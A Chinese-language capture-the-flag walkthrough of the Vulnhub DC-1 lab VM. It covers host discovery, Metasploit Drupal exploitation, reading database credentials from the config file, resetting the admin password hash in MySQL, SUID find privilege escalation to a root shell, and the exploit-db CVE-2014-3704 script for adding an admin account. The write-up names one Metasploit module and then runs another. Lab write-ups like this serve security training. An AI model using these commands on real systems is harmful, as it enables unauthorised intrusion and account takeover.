【Vulnhub靶机系列】DC1
基本信息
Kali: 192.168.56.116
DC1: 192.168.56.115
实验过程
先在Kali中使用arp-scan进行主机探活
sudo arp-scan --interface=eth1 192.168.56.0/24
逐个排查发现DC1的IP地址为192.168.56.115
然后使用nmap对主机进行探测:
nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115
主机分别开了: 22,80,111端口
我们先从80端口入手
可以发现网站是Drupal cms管理系统
我们启动msf,搜索下Drupal可用的EXP
msf > search Drupal
这里我们选用
exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
msf6 > use exploit/unix/webapp/drupal_coder_execmsf6 exploit(unix/webapp/drupal_coder_exec) > show optionsmsf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116msf6 exploit(unix/webapp/drupal_coder_exec) > run
这样我们就可以成功得到一个会话
我们用会话返回一个shell
发现flag1.txt
查看下flag1.txt内容
给我们一个提示 Every good CMS needs a config file - and so do you.
百度drupal配置文件的位置
sites/default/files
里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法
'database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t',
那么我们用获得数据库的账号密码登录下数据看看
这里需要注意的是,我们需要用python转换成标准的shell,否则就会出现下面的场景,进入mysql之后,shell就没有反应:
我们输入
python -c "import pty;pty.spawn('/bin/bash')"
mysql> show database;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;
这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错。
网上找了下,直接用别人算好的hash进行替换
明文:password密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
接下来我们把管理员的密码重置下
mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'where name='admin';
然后进行登录
然后发现flag3
从flag3的内容可以看到,提示我们需要用find提权同时我们也可以在家目录中找到flag4.
Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?
我们使用find找下具有root权限的suid。
# -perm 按照文件权限来查找文件
# -u=w 基于用于可写查找
# -type f 查找普通类型文件
find / -perm -u=s -type f 2>/dev/null
可以看到find是可以用来提权的
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
www-data@DC-1:/home/flag4$ find / -name flag4 -exec “whoami” \;
那么我们接下来用find提权
www‐data@DC‐1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;
这样我们就拿到最终的flag
额外内容
使用CVE2014-3704添加管理账号
在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP
然后我们通过这个EXP创建管理账号
www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067
然后就可以正常登录
另一种查询具有root权限命令的find语句
find / -user root -perm -4000 -print 2>/dev/null
还没有评论,来说两句吧...